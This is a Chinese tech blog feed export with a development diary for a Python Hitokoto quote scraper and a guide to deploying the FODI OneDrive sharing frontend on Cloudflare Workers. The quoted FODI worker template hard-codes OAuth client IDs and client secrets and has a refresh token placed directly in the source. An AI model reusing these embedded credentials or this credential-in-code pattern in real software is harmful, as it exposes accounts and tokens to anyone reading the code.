File "C:\ProgramData\Anaconda3\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='p2.music.126.net', port=443): Max retries exceeded with url: /gxo54B2ypqq0Y6tmahBnIw==/109951163596240238.jpg (Caused by SSLError(SSLError("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')")))

这种情况是握手失败导致的,请检查网络连接!


欢迎提交PR!

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + Spider + + + +
+ + + + + Hitokoto-Spider 一言库爬虫开发日记 + + /posts/Hitokoto-Spider/ + +

最近在家里虽然有上课(学校开学了),但是中午两个半小时的休息时间以及晚上的自由时间是真的闲,在想要干什么……然后我在我的学弟的电脑桌面上发现了八爪鱼,想起了他用八爪鱼抓一言库的时候,我就在想:为什么我不自己做一个抓一言的爬虫呢?说干就干,于是我就开始坐了起来……

下面,是我的个人开发日记,包含回忆,有些细节可能记得不是很清楚

项目地址:https://github.com/GamerNoTitle/Hitokoto-Spider


2020年2月10日 星期一 天气:不很好

今天是学校开学第一天,钉钉的会议功能真的菜,视频延迟3秒钟,互动板延迟3分钟……而且这个会议可以回看不能下载???拿fiddler抓包去……

(12:00)开始做爬虫了,先到一言去看看API是怎么用的先。在官网,可以看到下面这个表格(为了方便,我直接把源码拿过来了)

时间 影响Api 调整
2018年6月之前 旧版API(http://api.hitokoto.cn和https://sslapi.hitokoto.cn) 旧版API将在6月份之前以切换解析的方式合并到v1API中。也就意味着调整之后请求此API无异于请求v1API。调整后此接口的稳定性将不再受到维护。
2018年7月之前 v1API(https://v1.hitokoto.cn) v1API将发布最终版本。v1接口将会在未来存在较长时间(即使v2发布,请放心使用)。
v2 发布(时间未知) v2API(域名未知) 上线v2API。

这个是一言的几个api的地址,我选择的就是用的https://v1.hitokoto.cn

拿到了api,我要看看访问出来的效果是怎么样的,于是我又访问了这个地址,获得了一大串文本

1
2
3
4
5
6
7
8
9
10
11
12
{
"id": 79,//一言的ID
"hitokoto": "所以,他们的祭典还没结束。",//一言内容
"type": "a",//类型,具体可在官网查阅,这里a是Anime即动漫
"from": "我的青春恋爱物语果然有问题",//一言出处
"from_who": null,//谁说的话
"creator": "阿布碳。",//提交此条目的用户
"creator_uid": 0,//用户的uid,可以不看
"reviewer": 0,
"uuid": "f6aa4116-5a0f-4ab0-807a-bf3838a5fd23",//用户的uuid,可以不看
"created_at": "1468605909"//何时创建,这里是以时间戳的方式展示
}

我看着:这玩意怎么格式这么像json呢???

直到我往下拉,发现:

这塔喵不就是json嘛……(上面的注释是我加入的)

搞清楚了返回出来的结果的组成后,我们就可以开始撸代码了!

打开VSCode,新建一个文件夹,在这个文件夹里面进行修改

首先确定我需要用什么来模拟http请求,因为我自己用过@Dawnnnnnn/bilibili-live-tools这个项目,而且在用这个项目的时候,特别是在学校的服务器上面挂,那个Windows Server 2016 DataCenter装个requests运行库都难,所以我特别记得requests这个库可以模拟http请求,先装上再说!

于是我在powershell内打了

1
$ pip install requests

来安装我的requests运行库,接着,在我的python文件内打入

1
import requests as r

因为本人比较懒,所以喜欢把运行库简写,加入了as r我就可以不用打那么多字母了,真的方便

接着,要先搞清楚requests库的用法,于是乎我又去查了一下,查到这几个函数

1
2
3
4
5
6
requests.get(‘https://github.com/timeline.json’)                 # GET请求
requests.post(“http://httpbin.org/post”) # POST请求
requests.put(“http://httpbin.org/put”) # PUT请求
requests.delete(“http://httpbin.org/delete”) # DELETE请求
requests.head(“http://httpbin.org/get”) # HEAD请求
requests.options(“http://httpbin.org/get” ) # OPTIONS请求

那么我要获得结果,采用了GET请求,然后在我的项目中打入了

1
res = r.get('https://international.v1.hitokoto.cn/')

这样就可以把获得的结果赋给res,然后通过调用res的值来获得我们想要的结果,接着运行一次我们的文件

1
2
3
import requests as r
res = r.get('https://v1.hitokoto.cn/')
print(res)

然后返回的值为:<Response [200]>

状态码输出这不是状态码嘛???我不要这玩意儿啊,我要结果。。。

然后我就commit了一下,盖上我的垃圾Lenovo,然后去睡觉了……


2020年2月11日 星期二 天气:还是不很好

今天继续开发,昨天拿到的结果是个状态码,然后我又有思路了!

我就在print中动一下手脚,给被打印的res加上一个参数,然后代码就变成了

1
2
3
import requests as r
res = r.get('https://v1.hitokoto.cn/')
print(res.text)

接着就给我输出了我想要的东西嘿嘿

json格式输出

这个项目本来想跟学弟@Soulxyz一起做的,然后我就先把这个雏形push到了仓库里面,他也fork了,然后回来给我的是一个叫做csvdomo.py(点击可下载)的文件(我寻思你是不是想打csvdemo???)

我打开了,然后发现:你这不是并发获取10次都是一个结果吗???你这不重新获取不是每次都一样的吗???

csvdomo输出

于是我决定放弃他这里,我自己来弄这个项目……后来他告诉我,用一言的国际节点可以有更高的QPS,然后我就转用国际节点了……

接着下一步是要重复抓取,对于这一部分,我想到的是让用户输入要抓取的次数,类型为int,命名为num,然后采用for循环重复抓取,就写了下面的这一段

1
2
3
4
print("请输入抓取的数量,如果要抓取全部请到https://hitokoto.cn/status查看现在的一言总数并填入:")
num=input()
for i in range(num):
res = r.get('https://v1.hitokoto.cn/')

这样子来实现重复抓取的功能,至于为什么如果要抓取全部还要输入,因为那个数字我是真的拿不到啊……

终于实现了抓取的功能,接下来要实现写入文件的功能

我的想法是写入csv文件,因为我自己在华南理工学习的时候就用过相关的函数,所以我就去搜索了一下,结果发现python原生支持csv,不需要用到pandas,所以我就调用了自带的csv库

(要上课了,先撤了)

(16:30)我回来了!现在就是要搞定写入csv库的问题,我在网上找到了相关的方法:

先打开一个文件,然后把这个文件设定为file变量,然后def两个函数,一个创建,一个写入,就像下面这个亚子:

1
2
3
4
5
6
7
8
9
10
11
12
import csv
def create_csv(path):
with open(path,"w+",newline="",encoding="utf8") as file:
# 打开文件,也相当于一个回车,避免覆盖文档
csv_file = csv.writer(file)
head = ["id","sort","hitokoto"] # 创建csv表头
csv_file.writerow(head)
def append_csv(path):
with open(path,"a+",newline='',encoding="utf8") as file:
csv_file = csv.writer(file)
data = [inputs]
csv_file.writerows(data)

这样我就定义了两个函数,然后在下面直接用这个函数就好了

再加上上面写过让用户填入输出路径和爬取次数的相关代码,直接把变量拿过来用就好了

1
2
3
4
print("请输入文件输出名(请自行输入后缀,文件以csv的方式保存):")
path=input() # 输出文件
print("请输入抓取的数量,如果要抓取全部请到https://hitokoto.cn/status查看现在的一言总数并填入:")
num=int(input()) # 抓取数量

将path用于文件的路径,将num用于下面的抓取次数,完美!

然后在下面,将抓取到的数据排版一下

1
2
3
4
5
6
7
8
9
10
11
data=res.json()
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)

这样就完成了写入操作!写入csv的操作搞定了以后,最后剩下除掉重复的结果,不然会有很多同样的话,这是最麻烦的部分……

开始我的想法是:每次获取到一个结果以后,将id存入存入一个存储变量叫做ids,开始先初始化

1
ids=[]

这样将ids初始化为一个空列表,然后往这个空列表里面加入id,每次遍历一次ids里面的id是否与获取到的id相同,如果相同则说明获取到了重复的话,将这个结果舍弃,然后重新获取

将我的重复剔除的功能写出来,就像这样(从之前的commit弄出来的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ids=['0']
i=1
for i in range(num):
res = r.get('https://international.v1.hitokoto.cn/',timeout=60) # 得到服务器回应,此时回应的内容为json文件(res.text)和状态码
data=res.json() # 将获取到的结果转为json字符串
t=1
for t in range(i):
if data["id"]==ids[t]:
# ID已经存在,即已经抓到过,这地方可能会报BUG,目前没修(数组越限BUG)
break
else:
t=t+1 # 自增
if t==i:
ids.append(data["id"])
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
temp=[data["id"],sorts,data["hitokoto"]]
print(res.text)
append_csv(path)

接着就会发现,运行着运行着,告诉我数组越限了?!!!

这个问题就真的很烦,因为C++是允许数组越限的,但是python不允许,会直接冷不丁给你报错,所以每次遇到这个问题我都不是很想去理它,但是不理它我的程序就运行不下去了啊!!!所以我先把检测重复这一段注释掉了,合上垃圾Lenovo,睡觉!


2020年2月12日 星期三 天气:下雨了啊!

今天早上上课上到11点20分,开始写代码,用一中午想把这个重复检测的功能写完……

想到昨天的数组越限就头疼,我打算放弃这个方法,不存列表了!

我记得当时在华工有用过像array[t]这样的东西,于是我想起了一个利器——array数组!

新的思路是这样的:将得到的数据存入数组名为temp,开始先初始化这个变量:

1
2
from array import array
temp = array['i',[0]]

至于我为什么在里面写一个0,是因为我发现我不这么做的话他会给我报错……

这样就初始化了一个名为temp类型为int的数组,里面含有一个元素0。然后在下面每次获取完id以后就将其存入temp变量

1
temp.append(data["id"])

通过这样,每次再遍历temp里面的东西,只要重复,就说明抓过,没重复就说明没抓过,就可以达到去掉重复的效果!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
for i in range(num):
time.sleep(delay)
print("正在获取新的一言……")
res = r.get('https://international.v1.hitokoto.cn/',timeout=60)
# 得到服务器回应,此时回应的内容为json文件(res.text)和状态码
data=res.json() # 将获取到的结果转为json字符串
temp_minus=temp.count-1
if temp_minus!=0:
t=1
print("正在检测是否抓取过结果……")
for t in range(temp.count):
if(int(data["id"])==temp[t]):
print("发现已经抓取到的结果,正在丢弃……")
i=i-1
break
elif(t==temp.count-1):
print("未抓取过的结果,正在存入文件……")
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
temp.append(data["id"])
end_Pro=datetime.datetime.now()
print("已完成数量:"+str(i+1)+',已经用时:'+str(end_Pro-start_Pro))
break
else:
if data["type"]== "a": sorts=("Anime") # 自动把分类码还原为分类
if data["type"]== "b": sorts=("Comic")
if data["type"]== "c": sorts=("Game")
if data["type"]== "d": sorts=("Novel")
if data["type"]== "e": sorts=("Myself")
if data["type"]== "f": sorts=("Internet")
if data["type"]== "g": sorts=("Other")
inputs=[data["id"],sorts,data["hitokoto"]]
# print(res.text) # 输出一言,如需要把最前面的#去掉即可
append_csv(path)
temp.append(data["id"])
end_Pro=datetime.datetime.now()
print("已完成数量:"+str(i+1)+',已经用时:'+str(end_Pro-start_Pro))

最后写出来的效果是这样子的,然后问题又出来了,我的temp.count似乎不能被它正确识别出来,于是我打开了一个新的文档,测试一下这个玩意输出长什么样子:

Output3

emmmm,这是啥???

然后我又去求助万能的百度,网友们告诉我可以用len(temp)来获得数组的元素个数,然后我就把这玩意改了,终于可以运行了!!!接着问题又来了。。。

Output4

这是???这怎么不连续啊,这数字???我想到可能是抓到重复的时候算抓了,就导致了i+1(不过这次测试挺非的,这么多次一样。。。非到极致也是一种欧!)

后来我试试加一个i=i-1在相应位置,结果还是不行,我就想到可能是局部变量改不动???

我就自己定义一个变量,用while循环呗……然后我就改用while循环

这下终于可以了,抓到的结果没有抓到重复的(因为中途连接超时导致程序停止运行了,所以只抓了2159条,本来是想把整个一言库抓完的,点我下载2159条数据,请用UTF8解码后保存为gbk才能在Excel上查看哦

终于搞定啦!!!这个项目终于能够按照期望运行了!

接下来要解决的问题:

  • json配置文件支持
  • GUI支持

题外话:

这是我第一次做爬虫,把学到的python技术用出来。项目已经上传到https://github.com/GamerNoTitle/Hitokoto-Spider

有人愿意与我一起做项目我也非常开心,希望大家能够活用此项目,不要再用什么八爪鱼抓一言了,那种要VIP的软件对我们这种程序员来说一点也不友好,还不如自己来……


2020年2月16日 星期日 天气:还是下雨天……

今天晚上,我对爬虫进行了优化,之前我上面就说过要提供json配置文件的支持,今天的目标就是这个!走起!

首先,要新建一个json文件,里面包含的参数如下:

1
2
3
4
5
6
7
8
9
10
{
"path": "Hitokoto.csv",//文件输出路径
"times": 3,// 抓取次数
"delay": 0,// 抓取延迟,针对一言的QPS设置
"timeout": 60,// 连接超时时间(单位:秒)
"from": false,// 来自什么作品
"from_who": false,// 来自谁
"creator": false,// 哪位用户提交的
"created_at": false// 何时提交
}

其中,文件输出路径是str变量,抓取次数、抓取延迟、抓取超时都是int变量,from、from_who、creator、created_at都是bool型变量,这就表示它只支持true和false

搞定config文件的内容后,反过来对代码进行添加,定义一个读取json文件的函数,命名为read_config()

1
2
3
4
def read_config():
with open("config.json") as json_file:
config = js.load(json_file)
return config

这样,我使用conf = read_config()就可以获得文件中的所有内容,文件读出来的结果应该是这样的(如图)

json read

把程序再美化一下,运行后发现,出了BUG

from_who KeyError

KeyError???WTF???你不是能正常读入的呢嘛?这又是个什么鬼错误……

上网搜索说是读不到相关的东西,不在字典中,我就想在上面提前置顶from_who的值,但是一言返回的结果里面的东西我也修改不了啊……所以还是要解决KeyError的问题

上网一搜,全部都是用dict导致的问题。我寻思:我怎么也没有操作字典吧。。。

算了,先上传吧,明天再修复from_who的BUG……

我的友人表示想建立一个一言的镜像站,所以要求我把其他的参数给加上,我先加吧……

尴尬……又出现了KeyError的问题,这次是creator_uid和reviewer,算了明天弄吧……睡觉!

2020年2月17日 星期一 天气:晴天

今天早上起来,换了台电脑,还是有keyerror的错误,然后去问了一下大学导师,他告诉我是data里面没有这个key的项的问题,然后我又倒回去看发现,上面提到的三个数值有些结果是没有使用双引号括起来的,基本都写的null或者是0,这样就导致data里面没有这个key,进而导致keyerror

所以我是打算用try和except这两个东西进行解决。

在代码里稍作修改,加入try和except

1
2
3
if(conf["from_who"] == True): 
try: inputs.append(data["from_who"])
except KeyError: inputs.append("null")

在会报KeyError错误的地方都进行这样的修改,然后进行调试

KeyError Fixed

终于可以啦!!!推送代码,项目完成!

接下来就是要加入GUI支持了,但是我其实不是很会做GUI,所以说别抱太大希望,很有可能鸽掉……

白咕咕

]]>
+ + + + + Tech + + + + + + + Tech + + Python + + + +
+ + + + + Onedrive分享型网盘搭建 - FODI + + /posts/FODI/ + +

本人有两个onedrive账号,一个自用,另外一个是前几天蹭的edu账号,之前一直想用onedrive来分享文件(毕竟容量是真的大),就在放寒假前,我发现了github的一个项目:FODI,虽说这UI不是很好看,但是不用服务器(嗯,让白嫖党有点快乐了),所以就动起了手……

官方教程:https://logi.im/front-end/scf-fodi.html

当我正在按照官方教程搭建的时候,在获取refresh_token这一步,它居然给我报错了???

官方教程中,是要求进入此网址进行登录后,把第一个?删掉,把第一个&改成?,然后就给我弹出以下错误:

1
2
3
4
5
6
7
8
9
10
11
Message
{
"error": "invalid_grant",
"error_description": "AADSTS54005: OAuth2 Authorization code was already redeemed, please retry with a new valid code or use an existing refresh token.\r\nTrace ID: b0425d60-48d1-4006-aec5-76d97732cd00\r\nCorrelation ID: 0d390346-7cfa-4284-9518-67444dca1511\r\nTimestamp: 2020-02-09 02:08:21Z",
"error_codes": [
54005
],
"timestamp": "2020-02-09 02:08:21Z",
"trace_id": "b0425d60-48d1-4006-aec5-76d97732cd00",
"correlation_id": "0d390346-7cfa-4284-9518-67444dca1511"
}

我的内心是崩溃的……好了不干了!

咕咕咕


回归正题,干还是要干的,要么握着5T的onedrive没意思是吧……

然后我在Github又发现了一个新的项目——OneManager

嘤嘤嘤

打算部署这个玩意,这时候就有人问了:诶不是,你这标题不是写的FODI?怎么变成OneManager了?

别急,这玩意自然有它利用的价值

Deploy点击这个紫色的按钮,就会进入heroku的部署界面(啥?你说你不会用?那没事了),将此项目部署后进行安装,会要求输入heroku的api和管理员密码,这些就按要求填写就好了

接着就到了比较重要的一步:获取refresh_token(没错你知道我要干嘛了)

版本选择

第一步安装的时候选择MS(中国版选择CN,如果你喜欢搞事情,你也可以选择MSC自己申请api,我就是懒,就不自己申请api了)

然后登陆自己的微软账户,接着就会弹出自己的refresh_token,这不就搞定了refresh_token啦?!

refresh_token获取

如果你没有及时复制你自己的refresh_token,你也可以到你自己heroku项目的变量下复制

refresh_token in Heroku

接着我们返回FODI,将自己的refresh_token贴近官方给的模板的对应位置,接着将代码复制到cloudflare的workers里面(你又问我workers是什么?看这里啦!),然后保存即可!

cloudflare editor

官方模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
/**
* IS_CN: 如果为世纪互联版本,请将 0 改为 1
* EXPOSE_PATH:暴露路径,如全盘展示请留空,否则按 '/媒体/音乐' 的格式填写
* ONEDRIVE_REFRESHTOKEN: refresh_token
*/
const IS_CN = 0;
const EXPOSE_PATH = ""
const ONEDRIVE_REFRESHTOKEN = ""


async function handleRequest(request) {
let requestPath
let querySplited
let queryString = request.url.split('?')[1]
if (queryString) {
querySplited = queryString.split('=')
}
if (querySplited && querySplited[0] === 'file') {
const file = querySplited[1]
const fileName = file.split('/').pop();
requestPath = file.replace('/' + fileName, '')
const url = await fetchFiles(requestPath, fileName)
return Response.redirect(url, 302)
} else {
const { headers } = request
const contentType = headers.get('content-type')
let body={}
if (contentType && contentType.includes('form')) {
const formData = await request.formData()
for (let entry of formData.entries()) {
body[entry[0]] = entry[1]
}
}
requestPath = body ? body['?path'] : '';
const files = await fetchFiles(requestPath, null, body.passwd);
return new Response(files, {
headers: {
'content-type': 'application/json; charset=utf-8',
'Access-Control-Allow-Origin': '*'
}
})
}
}

addEventListener('fetch', event => {
return event.respondWith(handleRequest(event.request))
})


const clientId = [
'4da3e7f2-bf6d-467c-aaf0-578078f0bf7c',
'04c3ca0b-8d07-4773-85ad-98b037d25631'

]
const clientSecret = [
'7/+ykq2xkfx:.DWjacuIRojIaaWL0QI6',
'h8@B7kFVOmj0+8HKBWeNTgl@pU/z4yLB'
]

const oauthHost = [
'https://login.microsoftonline.com',
'https://login.partner.microsoftonline.cn'
]

const apiHost = [
'https://graph.microsoft.com',
'https://microsoftgraph.chinacloudapi.cn'
]

const OAUTH = {
'redirectUri': 'https://scfonedrive.github.io',
'refreshToken': ONEDRIVE_REFRESHTOKEN,
'clientId': clientId[IS_CN],
'clientSecret': clientSecret[IS_CN],
'oauthUrl': oauthHost[IS_CN] + '/common/oauth2/v2.0/',
'apiUrl': apiHost[IS_CN] + '/v1.0/me/drive/root',
'scope': apiHost[IS_CN] + '/Files.ReadWrite.All offline_access'
}

async function gatherResponse(response) {
const { headers } = response
const contentType = headers.get('content-type')
if (contentType.includes('application/json')) {
return await response.json()
} else if (contentType.includes('application/text')) {
return await response.text()
} else if (contentType.includes('text/html')) {
return await response.text()
} else {
return await response.text()
}
}

async function getContent(url) {
const response = await fetch(url)
const result = await gatherResponse(response)
return result
}

async function getContentWithHeaders(url, headers) {
const response = await fetch(url, { headers: headers })
const result = await gatherResponse(response)
return result
}

async function fetchFormData(url, data) {
const formdata = new FormData();
for (const key in data) {
if (data.hasOwnProperty(key)) {
formdata.append(key, data[key])
}
}
const requestOptions = {
method: 'POST',
body: formdata
};
const response = await fetch(url, requestOptions)
const result = await gatherResponse(response)
return result
}

async function fetchAccessToken() {
url = OAUTH['oauthUrl'] + 'token'
data = {
'client_id': OAUTH['clientId'],
'client_secret': OAUTH['clientSecret'],
'grant_type': 'refresh_token',
'requested_token_use': 'on_behalf_of',
'refresh_token': OAUTH['refreshToken']
}
const result = await fetchFormData(url, data)
return result.access_token
}

async function fetchFiles(path, fileName, passwd) {
if (!path || path === '/') {
if (EXPOSE_PATH === '') {
path = ''
} else {
path = ':' + EXPOSE_PATH
}
} else {
if (EXPOSE_PATH === '') {
path = ':' + path
} else {
path = ':' + EXPOSE_PATH + path
}
}

const accessToken = await fetchAccessToken()
const uri = OAUTH.apiUrl + encodeURI(path) + '?expand=children(select=name,size,parentReference,lastModifiedDateTime,@microsoft.graph.downloadUrl)'

const body = await getContentWithHeaders(uri, {
Authorization: 'Bearer ' + accessToken
})
if (fileName) {
let thisFile = null
body.children.forEach(file => {
if (file.name === decodeURIComponent(fileName)) {
thisFile = file['@microsoft.graph.downloadUrl']
return
}
})
return thisFile
} else {
let files = []
let encrypted = false
for (let i = 0; i < body.children.length; i++) {
const file = body.children[i]
if (file.name === '.password') {
const PASSWD = await getContent(file['@microsoft.graph.downloadUrl'])
if (PASSWD !== passwd) {
encrypted = true;
break
} else {
continue
}
}
files.push({
name: file.name,
size: file.size,
time: file.lastModifiedDateTime,
url: file['@microsoft.graph.downloadUrl']
})
}
let parent
if (body.children.length) {
parent = body.children[0].parentReference.path
} else {
parent = body.parentReference.path
}
parent = parent.split(':').pop().replace(EXPOSE_PATH, '') || '/'
parent = decodeURIComponent(parent)
if (encrypted) {
return JSON.stringify({ parent: parent, files: [], encrypted: true })
} else {
return JSON.stringify({ parent: parent, files: files })
}
}
}

接着,我们打开官方给的html文件,将自己的workers链接贴到对应的位置,部署到github即可!

html文件备份:(可以直接复制)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
<!DOCTYPE html>

<head>
<script>
/**
* SCF_GATEWAY:SCF 云函数网关地址
* SITE_NAME:站点名称
*/
window.GLOBAL_CONFIG = {
SCF_GATEWAY: "",
SITE_NAME: "FODI",
IS_CF: true
};
if (window.GLOBAL_CONFIG.SCF_GATEWAY.indexOf('workers') === -1) {
window.GLOBAL_CONFIG.SCF_GATEWAY += '/fodi/';
window.GLOBAL_CONFIG.IS_CF = false;
}
// if (location.protocol === 'http:') {
// location.href = location.href.replace(/http/, 'https');
// }
</script>
<meta charset="utf-8">
<meta content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=no" name="viewport">
<script src="//s0.pstatp.com/cdn/expire-1-M/ionicons/4.5.6/ionicons.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/marked/0.6.2/marked.min.js"></script>
<script src="//s0.pstatp.com/cdn/expire-1-M/highlight.js/9.15.6/highlight.min.js"></script>
<link href="//s0.pstatp.com/cdn/expire-1-M/highlight.js/9.15.6/styles/github.min.css" rel="stylesheet" />
<link href="//s0.pstatp.com/cdn/expire-1-M/github-markdown-css/3.0.1/github-markdown.min.css" rel="stylesheet" />
<script src="//s0.pstatp.com/cdn/expire-1-M/jquery/3.4.0/jquery.min.js"></script>
